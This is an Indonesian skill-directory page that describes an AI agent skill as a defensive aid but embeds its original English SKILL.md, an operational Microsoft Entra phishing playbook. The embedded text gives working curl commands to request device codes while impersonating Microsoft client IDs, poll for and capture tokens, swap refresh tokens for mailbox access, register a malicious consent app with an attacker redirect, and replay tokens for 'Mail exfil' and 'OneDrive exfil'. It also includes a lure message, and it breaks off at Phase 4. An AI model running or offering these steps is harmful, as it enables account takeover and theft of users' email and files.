Langsung ke konten
Skillpedia
Keamanan6.5k Β· #13993

entra-device-code-phishing

Fungsinya

Skill ini menjelaskan bagaimana penyerang dapat menyalahgunakan alur login Microsoft Entra untuk mendapatkan token tanpa kata sandi, dan apa yang harus diwaspadai pembela. Skill ini untuk tim keamanan yang menjalankan deteksi dan pertahanan phishing.

Kapan dipakai

  • βœ“Saat sebuah tim keamanan meminta agent meninjau pengaturan login device-code dan persetujuan aplikasi mereka.
  • βœ“Ketika agent mencari pendaftaran aplikasi mencurigakan yang meminta izin Microsoft Graph yang luas.
  • βœ“Ketika sebuah rencana pertahanan harus menjelaskan bagaimana pencurian token melalui alur login dapat dideteksi.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa apakah pengguna di tenant kami dapat memberikan izin luas kepada aplikasi yang tidak dikenal, atau memakai login device-code tanpa batasan?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent meninjau pengaturan persetujuan dan device-code, mendaftar aplikasi dengan scope delegasi yang luas, dan merekomendasikan kontrol untuk memblokir atau memantaunya.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Entra Device-Code & Illicit-Consent Phishing

Steal Entra ID tokens without ever owning the password. Two primary primitives:

  1. Device-code phishing β€” abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
  2. Illicit consent grant β€” register an app, get the user to consent to delegated Graph scopes.

Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.

Phase 1: Device-code flow

Request the device code

# Use a first-party client ID (impersonate a Microsoft app β€” no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams:    1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office:   d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT>     # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
  -d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin  CODE: $USER_CODE"

Pretext delivery

Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." β€” the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.

Poll for the token

while :; do
  r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
  err=$(echo "$r" | jq -r .error)
  case "$err" in
    authorization_pending) sleep 5 ;;
    null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
    *) echo "ERR: $err" ; break ;;
  esac
done

Family-of-Client-IDs (FOCI) β€” single token, all Microsoft apps

The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app β€” no new consent:

# Swap to Outlook for mailbox access:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"

TokenTactics / TokenTacticsV2 (PowerShell) automates the swap matrix.

Phase 2: Illicit consent grant (malicious app)

Register the attacker app

# Register in YOUR attacker tenant (multi-tenant).
# Redirect URI: https://<ATTACKER>/redirect  ; Sign-in audience: multi-tenant + personal MSA
# Add delegated scopes (NO admin consent needed):
#   Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile
# Capture App (client) ID = APP_ID
APP_ID=<APP_ID>

Craft the consent URL

SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
REDIR=https://<ATTACKER>/redirect
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"

Brand the app Contoso HR Portal or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has user consent for low-risk delegated scopes enabled (default in many tenants), the user single-clicks "Accept" and you have tokens.

Exchange code for tokens at your redirect

CODE=<CODE_FROM_REDIRECT>
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \
  | jq .

Phase 3: Token replay

# Mail exfil
curl -s -H "Authorization: Bearer $ACCESS" \
  "https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq .

# OneDrive exfil
curl -s -H "Authorization: Bearer $ACCESS" \
  "https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq .

# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"

Phase 4: Primary Refresh Token (PR

Pertanyaan umum

Apa itu login device-code?

Itu adalah metode login saat pengguna memasukkan kode pendek di halaman resmi Microsoft, yang menurut skill dapat disalahgunakan dalam phishing.

Apa itu persetujuan ilegal?

Skill menjelaskannya sebagai menipu pengguna agar menyetujui aplikasi yang kemudian mendapat akses luas ke data mereka.

Pertahanan apa yang disarankan skill?

Skill menunjuk ke pembatasan persetujuan, pembatasan login device-code, dan pemantauan aktivitas token yang tidak biasa, dan admin yang memutuskan.

Detail

Deskripsi asli dari pembuat

Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#13993
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa